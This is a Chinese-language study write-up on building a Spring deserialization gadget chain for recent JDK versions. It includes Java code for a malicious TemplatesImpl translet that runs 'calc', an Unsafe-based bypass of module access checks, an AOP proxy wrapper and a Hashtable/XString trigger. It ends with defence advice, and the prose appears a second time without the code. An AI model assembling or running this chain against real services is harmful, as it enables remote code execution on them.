高版本jdk下的spring通杀链学习
字数 1061 2025-11-21 12:27:24

高版本JDK下Spring通杀链技术分析

1. 背景概述

在Java高版本环境中,由于模块化系统的引入,传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。

2. TemplatesImpl链基础原理

2.1 调用栈分析

TemplatesImpl#getOutputProperties
    → TemplatesImpl#newTransformer
    → TemplatesImpl#getTransletInstance
    → TemplatesImpl#defineTransletClasses
    → TemplatesImpl#defineClass

2.2 关键参数设置

需要正确设置三个关键参数:

  • _bytecodes:恶意类字节码
  • _name:不能为null
  • _tfactory:TransformerFactoryImpl实例

2.3 传统利用方式

// 恶意类示例
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;

public class shell extends AbstractTranslet {
    public shell() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) { }
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
}

3. 高版本JDK的限制与绕过

3.1 模块化系统限制

Java 9+引入JPMS模块化系统,com.sun.*等内部类被放在java.xml模块中,默认不对外暴露。

3.2 反射访问条件

通过反射访问需要满足:

  1. 调用方与目标类在同一模块
  2. 目标模块对调用方导出或开放包
  3. 目标类与成员的修饰符及继承关系符合要求

3.3 Unsafe类利用

使用sun.misc.Unsafe修改module属性绕过限制:

private static void patchModule(Class clazz) throws Exception {
    Field field = Unsafe.class.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    Unsafe unsafe = (Unsafe) field.get(null);
    long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    Module targetModule = Object.class.getModule();
    unsafe.getAndSetObject(clazz, offset, targetModule);
}

4. 关键技术突破点

4.1 非继承AbstractTranslet的绕过技术

当恶意类不继承AbstractTranslet时,需要:

  1. 设置_bytecodes包含两个类字节码
  2. 正确设置_transletIndex为0或1
  3. 确保_auxClasses不为空

4.2 模块访问权限处理

通过分析java.xml模块的导出包,发现javax.xml.transform包完全导出,其中的Templates接口包含getOutputProperties()方法。

5. 完整利用链构造

5.1 恶意类生成

ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();

5.2 TemplatesImpl实例构造

byte[][] code = new byte[][]{classBytes, classBytes1};
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl, "_name", "fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_transletIndex", 0);

5.3 AOP代理设置

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(impl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
    .getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
Object proxyAop = constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
    new Class[]{Templates.class}, (InvocationHandler) proxyAop);

5.4 触发结构构造

POJONode node = new POJONode(proxy);

// 获取XString实例
Class xstringClazz = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor xstringConstructor = xstringClazz.getConstructor(String.class);
xstringConstructor.setAccessible(true);
Object xString = xstringConstructor.newInstance("111");

// 构造触发HashMap
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ", xString);
hashMap0.put("yy", node);

HashMap hashMap1 = new HashMap();
hashMap1.put("zZ", node);
hashMap1.put("yy", xString);

hash.put(hashMap0, "1");
hash.put(hashMap1, "2");

6. 技术要点总结

  1. 模块绕过:使用Unsafe修改module属性突破JPMS限制
  2. 类继承绕过:通过多字节码和_transletIndex设置避免继承AbstractTranslet
  3. 代理机制:利用Spring AOP代理将调用转移到TemplatesImpl
  4. 触发机制:通过HashMap+XString的hash碰撞触发反序列化

7. 防御建议

  • 严格限制反序列化操作
  • 使用安全管理器限制反射访问
  • 及时更新JDK和Spring框架版本
  • 实施代码安全审计和依赖项检查

此技术分析详细展示了在高版本JDK环境下构造Spring通杀链的关键技术点,对理解Java安全机制和防御此类攻击具有重要参考价值。

高版本JDK下Spring通杀链技术分析 1. 背景概述 在Java高版本环境中,由于模块化系统的引入,传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。 2. TemplatesImpl链基础原理 2.1 调用栈分析 2.2 关键参数设置 需要正确设置三个关键参数: _bytecodes :恶意类字节码 _name :不能为null _tfactory :TransformerFactoryImpl实例 2.3 传统利用方式 3. 高版本JDK的限制与绕过 3.1 模块化系统限制 Java 9+引入JPMS模块化系统, com.sun.* 等内部类被放在 java.xml 模块中,默认不对外暴露。 3.2 反射访问条件 通过反射访问需要满足: 调用方与目标类在同一模块 目标模块对调用方导出或开放包 目标类与成员的修饰符及继承关系符合要求 3.3 Unsafe类利用 使用 sun.misc.Unsafe 修改module属性绕过限制: 4. 关键技术突破点 4.1 非继承AbstractTranslet的绕过技术 当恶意类不继承 AbstractTranslet 时,需要: 设置 _bytecodes 包含两个类字节码 正确设置 _transletIndex 为0或1 确保 _auxClasses 不为空 4.2 模块访问权限处理 通过分析 java.xml 模块的导出包,发现 javax.xml.transform 包完全导出,其中的 Templates 接口包含 getOutputProperties() 方法。 5. 完整利用链构造 5.1 恶意类生成 5.2 TemplatesImpl实例构造 5.3 AOP代理设置 5.4 触发结构构造 6. 技术要点总结 模块绕过 :使用Unsafe修改module属性突破JPMS限制 类继承绕过 :通过多字节码和_ transletIndex设置避免继承AbstractTranslet 代理机制 :利用Spring AOP代理将调用转移到TemplatesImpl 触发机制 :通过HashMap+XString的hash碰撞触发反序列化 7. 防御建议 严格限制反序列化操作 使用安全管理器限制反射访问 及时更新JDK和Spring框架版本 实施代码安全审计和依赖项检查 此技术分析详细展示了在高版本JDK环境下构造Spring通杀链的关键技术点,对理解Java安全机制和防御此类攻击具有重要参考价值。